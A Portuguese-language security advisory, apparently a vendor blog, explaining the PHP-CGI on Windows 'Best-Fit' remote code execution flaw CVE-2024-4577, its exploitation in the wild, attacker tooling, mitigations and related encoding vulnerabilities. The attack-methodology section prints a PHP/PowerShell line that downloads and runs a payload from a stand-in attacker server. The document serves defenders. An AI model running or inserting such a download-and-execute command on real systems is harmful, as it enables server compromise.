Introdução
Uma vulnerabilidade crítica no PHP para Windows (CVE-2024-4577) tornou-se uma grande preocupação em termos de segurança cibernética desde sua divulgação, em junho de 2024. Com uma pontuação CVSS de 9,8, essa vulnerabilidade de alta gravidade, que permite a execução remota de código, afeta todas as versões do PHP em sistemas Windows. O que torna essa vulnerabilidade particularmente preocupante não é apenas sua gravidade, mas a exploração generalizada que as empresas de inteligência contra ameaças vêm observando desde janeiro de 2025.
A correção para a vulnerabilidade CVE-2024-4577 do PHP no Windows está disponível por meio do serviço PHP Endless Lifecycle Support (ELS) da TuxCare. O Windows agora é uma plataforma compatível com o PHP ELS.
Este artigo analisa em profundidade a vulnerabilidade CVE-2024-4577, examinando como ela funciona, como está sendo explorada e o que as organizações podem fazer para se protegerem. Embora já tenhamos escrito sobre essa vulnerabilidade específica em um artigo anterior, o fato de ela estar sendo explorada na prática torna o assunto relevante mais uma vez.
Análise técnica aprofundada: Entendendo a vulnerabilidade
A CVE-2024-4577 é uma vulnerabilidade de execução remota de código (RCE) que afeta instalações do PHP no Windows que utilizam configurações CGI. A vulnerabilidade existe porque a implementação do PHP no Windows não levou em conta adequadamente o comportamento “Best-Fit” nas páginas de código do Windows.
O mecanismo comportamental “Best-Fit”
No cerne dessa vulnerabilidade está um recurso de conversão de codificação específico do Windows, conhecido como “Best-Fit”. Esse recurso controla como os caracteres Unicode são convertidos para os caracteres ANSI mais próximos quando o caractere exato não pode ser representado na página de códigos de destino.
Quando o Windows realiza essa conversão em argumentos da linha de comando:
- Os caracteres que não podem ser representados diretamente na página de códigos de destino são substituídos por caracteres de aparência semelhante
- Essas substituições seguem uma tabela de correspondência de “melhor ajuste” integrada ao Windows
- O módulo PHP-CGI, então, interpreta erroneamente esses caracteres convertidos como opções da linha de comando do PHP
Esse comportamento cria uma situação perigosa, na qual entradas especialmente elaboradas podem ser transformadas em argumentos de linha de comando que o PHP processará como opções.
O que torna essa vulnerabilidade perigosa
Essa vulnerabilidade é particularmente insidiosa porque contorna as proteções implementadas para uma vulnerabilidade de uma década atrás (CVE-2012-1823), que era um problema semelhante em que o módulo php-cgi processava parâmetros de string de consulta como argumentos de linha de comando.
O problema se agrava em determinados contextos linguísticos:
- Chinês tradicional (página de código 950)
- Chinês simplificado (página de códigos 936)
- Japonês (Página de códigos 932)
No entanto, os pesquisadores alertaram que não é possível enumerar completamente todos os cenários de exploração para outras configurações regionais, como inglês, coreano e europeu ocidental, o que torna essa vulnerabilidade uma ameaça potencial para uma ampla gama de implantações de PHP no Windows.
Exploração na natureza
Desde janeiro de 2025, empresas de segurança têm observado uma exploração em massa da vulnerabilidade CVE-2024-4577. De acordo com a GreyNoise, sua “Global Observation Grid” detectou 1.089 endereços IP únicos tentando explorar essa vulnerabilidade somente em janeiro de 2025. Além disso, já existem 79 exploits disponíveis publicamente voltados para essa vulnerabilidade.
Metodologia de ataque
Os agentes mal-intencionados costumam explorar essa vulnerabilidade por meio das seguintes etapas:
- Acesso inicial: Os invasores utilizam um script em Python (como “PHP-CGI_CVE-2024-4577_RCE.py”) para verificar se uma URL alvo está vulnerável, enviando solicitações POST criadas especificamente para esse fim.
- Execução de código: Após a exploração bem-sucedida, os invasores executam comandos do PowerShell incorporados no código PHP:
<?php system (‘powershell -c “Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\’http[://]attacker-server[:]port/payload[.]ps1\’)”‘);?>
- Entrega da carga útil: O script do PowerShell baixa e executa uma carga útil de segundo estágio que geralmente contém shellcode do Cobalt Strike.
- Pós-exploração: Uma vez dentro do sistema, os invasores:
- Aumente os privilégios usando ferramentas como JuicyPotato, RottenPotato e SweetPotato
- Estabelecer persistência por meio de modificações no Registro, tarefas agendadas e serviços maliciosos
- Apagar os registros de eventos para apagar os rastros
- Realizar reconhecimento da rede para movimentação lateral
- Extraia credenciais usando ferramentas como o Mimikatz
Campanhas de ataque notáveis
Pesquisadores de segurança identificaram várias campanhas de ataque organizadas:
- Ataques direcionados a organizações japonesas: A Cisco Talos documentou ataques direcionados principalmente a organizações japonesas em diversos setores, incluindo educação, entretenimento, comércio eletrônico, tecnologia e telecomunicações. Os invasores utilizaram o kit Cobalt Strike “TaoWu” para atividades pós-exploração.
- Campanha global de exploração: A GreyNoise informou que as atividades de exploração se expandiram para além do Japão, com picos notáveis nos EUA, no Reino Unido, em Cingapura, na Indonésia, em Taiwan, em Hong Kong, na Índia, na Espanha e na Malásia. Mais de 43% dos endereços IP dos ataques tinham origem na Alemanha e na China.
Por que essa vulnerabilidade possibilita outras vulnerabilidades
A vulnerabilidade CVE-2024-4577 é particularmente preocupante porque faz com que outras vulnerabilidades se tornem mais perigosas. Isso se deve a vários fatores:
- Efeito de reação em cadeia: Uma exploração bem-sucedida concede aos invasores recursos de execução direta de código, que podem ser usados para explorar vulnerabilidades anteriormente inacessíveis que exigem acesso local.
- Facilitador de escalonamento de privilégios: Uma vez dentro de um sistema, os invasores podem implantar ferramentas de escalonamento de privilégios, transformando potencialmente vulnerabilidades de baixa gravidade em vulnerabilidades críticas.
- Mecanismo de persistência: A vulnerabilidade permite que invasores estabeleçam persistência, criando oportunidades para explorar futuras vulnerabilidades que possam surgir.
- Contorno das medidas de mitigação anteriores: Essa vulnerabilidade contorna especificamente as medidas de mitigação para o CVE-2012-1823, destacando como problemas de conversão de codificação podem comprometer as medidas de segurança. Para uma compreensão mais profunda de como as vulnerabilidades são pontuadas e classificadas, é útil explorar as diferenças entre o CVSS e o CVE.
Medidas de mitigação e recomendações
As organizações que executam o PHP em sistemas Windows devem tomar as seguintes medidas imediatamente:
- Atualizar o PHP: Atualização para as versões corrigidas:
- PHP 8.1.29
- PHP 8.2.20
- PHP 8.3.8
- Modelos alternativos de implantação: Considere usar o PHP com um modelo de servidor diferente do CGI, como o PHP-FPM.
- Firewall de Aplicações Web (WAF): Implemente um WAF capaz de detectar e bloquear tentativas de exploração da vulnerabilidade CVE-2024-4577.
- Monitoramento do sistema: Implemente um sistema robusto de registro e monitoramento para detectar atividades pós-exploração.
- Segmentação de rede: Limite o potencial de movimentação lateral por meio da implementação de uma segmentação de rede adequada.
- Auditorias de segurança regulares: Realize avaliações de segurança regulares para identificar e corrigir possíveis vulnerabilidades.
Contexto histórico: vulnerabilidades semelhantes relacionadas à conversão de codificação
A CVE-2024-4577 não é a primeira vulnerabilidade a explorar mecanismos de conversão de codificação. Vários exemplos notáveis destacam como esses mecanismos têm sido pontos fracos de segurança:
Vulnerabilidades anteriores relacionadas à codificação no PHP
- CVE-2010-4645: Uma vulnerabilidade no tratamento de conjuntos de caracteres multibyte pelo PHP que permitia que invasores contornassem a filtragem de entrada. Embora não explorasse diretamente o comportamento “Best-Fit”, ela demonstrou como problemas de codificação de caracteres poderiam levar a problemas de segurança.
- CVE-2015-2348: Essa vulnerabilidade no PHP permitia que invasores injetassem parâmetros de consulta arbitrários, explorando falhas na conversão de Unicode. Semelhante à CVE-2024-4577, ela envolvia a interpretação incorreta de caracteres após a conversão.
Problemas de codificação no Windows mais amplos
- CVE-2016-3238: Uma vulnerabilidade no Windows que permitia a elevação de privilégios por meio do mapeamento de caracteres Unicode. Os invasores podiam usar arquivos criados especificamente para esse fim, com nomes contendo caracteres Unicode específicos que, quando convertidos, seriam interpretados de maneira diferente por diversos componentes do Windows.
- CVE-2019-1388: Embora se trate principalmente de uma vulnerabilidade de falsificação da interface do usuário, essa exploração aproveitou a forma como o Windows lidava com caracteres Unicode nas caixas de diálogo de certificados, demonstrando como a conversão de codificação poderia confundir os componentes do sistema.
- CVE-2020-0687: Uma vulnerabilidade de execução remota de código no Windows que envolvia o tratamento inadequado de caracteres Unicode, permitindo que invasores executassem código caso um usuário visualizasse um documento especialmente criado para esse fim.
Vulnerabilidades em frameworks de aplicativos web
- CVE-2020-10735: Uma vulnerabilidade de negação de serviço no Python relacionada ao tratamento de caracteres Unicode. Os invasores poderiam causar consumo excessivo de CPU ao explorar a forma como o Python converte entre diferentes representações Unicode.
- CVE-2021-42574: A vulnerabilidade “Trojan Source”, que afetou várias linguagens de programação. Essa vulnerabilidade explorava caracteres de controle bidirecionais (BiDi) do Unicode para criar um código-fonte que parecia diferente daquele que era realmente executado.
Essas vulnerabilidades históricas demonstram que os mecanismos de conversão de codificação têm sido um desafio persistente à segurança em diversas plataformas e linguagens. O comportamento “Best-Fit”, explorado na vulnerabilidade CVE-2024-4577, representa uma variante particularmente perigosa, pois afeta diretamente a interpretação da linha de comando, podendo conceder aos invasores a capacidade de executar código diretamente.
Considerações finais
A vulnerabilidade CVE-2024-4577 representa uma ameaça significativa para organizações que executam o PHP em servidores Windows. O fato de a vulnerabilidade já estar sendo explorada na prática, aliado à sua capacidade de facilitar a exploração de outras vulnerabilidades, torna-a particularmente perigosa.
As equipes de segurança devem priorizar a aplicação de patches para corrigir essa vulnerabilidade e a implementação de medidas de mitigação adequadas. Além disso, essa vulnerabilidade serve como um importante lembrete de que os mecanismos de conversão de codificação podem introduzir falhas sutis de segurança que contornam as proteções existentes, destacando a necessidade de testes de segurança abrangentes em diferentes ambientes de idioma e páginas de código.
Ao compreender a mecânica da vulnerabilidade CVE-2024-4577 e o panorama atual de exploração, as organizações podem se proteger melhor contra essa ameaça crítica.
Fontes:
https://www.securityweek.com/mass-exploitation-of-critical-php-vulnerability-begins/
https://www.securityweek.com/php-patches-critical-remote-code-execution-vulnerability/
https://blog.talosintelligence.com/new-persistent-attacks-japan/

